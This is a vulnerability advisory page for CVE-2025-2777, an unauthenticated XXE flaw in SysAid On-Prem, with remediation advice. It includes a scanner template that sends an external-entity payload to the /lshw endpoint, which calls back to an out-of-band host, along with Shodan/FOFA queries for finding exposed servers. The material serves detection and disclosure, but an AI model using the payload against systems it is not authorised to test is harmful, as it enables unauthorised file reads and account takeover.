SysAid On-Prem <= 23.3.40 - XML External Entity
CVE-2025-2777
Verified
Description
SysAid On-Prem versions <= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the lshw processing functionality, allowing for administrator account takeover and file read primitives.
Severity
Critical
CVSS Score
9.3
Exploit Probability
23%
Affected Product
sysaid
Published Date
May 10, 2025
Template Author
johnk3r
CVE-2025-2777.yaml
id: CVE-2025-2777
info:
name: SysAid On-Prem <= 23.3.40 - XML External Entity
author: johnk3r
severity: critical
description: |
SysAid On-Prem versions <= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the lshw processing functionality, allowing for administrator account takeover and file read primitives.
impact: |
Unauthenticated attackers can exploit XXE vulnerabilities in the lshw endpoint to read arbitrary files, potentially leading to administrator account takeover and complete system compromise.
remediation: |
Upgrade to SysAid On-Prem version 24.40.60 or later that properly disables external entity processing.
reference:
- https://labs.watchtowr.com/sysowned-your-friendly-rce-support-ticket/
- https://documentation.sysaid.com/docs/24-40-60
classification:
epss-score: 0.23107
epss-percentile: 0.96003
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
cvss-score: 9.3
cve-id: CVE-2025-2777
cwe-id: CWE-611
metadata:
max-request: 1
vendor: sysaid
product: sysaid
shodan-query: http.favicon.hash:"1540720428"
fofa-query: icon_hash=1540720428
tags: cve,cve2025,oast,sysaid,xxe,vkev,vuln
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
POST /lshw?osVer=a&osCode=b&osKernel=c&agentVersion=e&serial=f HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY % foo SYSTEM "http://{{interactsh-url}}/{{filename}}.dtd">
%foo;
]>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: Java"
# digest: 490a004630440220136172ea51a12c6b2888305246b401978814c6566688323f96b4db516abe207b02203ea0b918c95f3b749e80402f47bc193647011740dd28da3cd25d4d9a06a56a8b:922c64590222798bb761d5b6d8e729509.3Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
CVE ID:
cve-2025-2777
CWE ID:
cwe-611
Remediation Steps
Upgrade to SysAid On-Prem version 24.40.60 or later that properly disables external entity processing.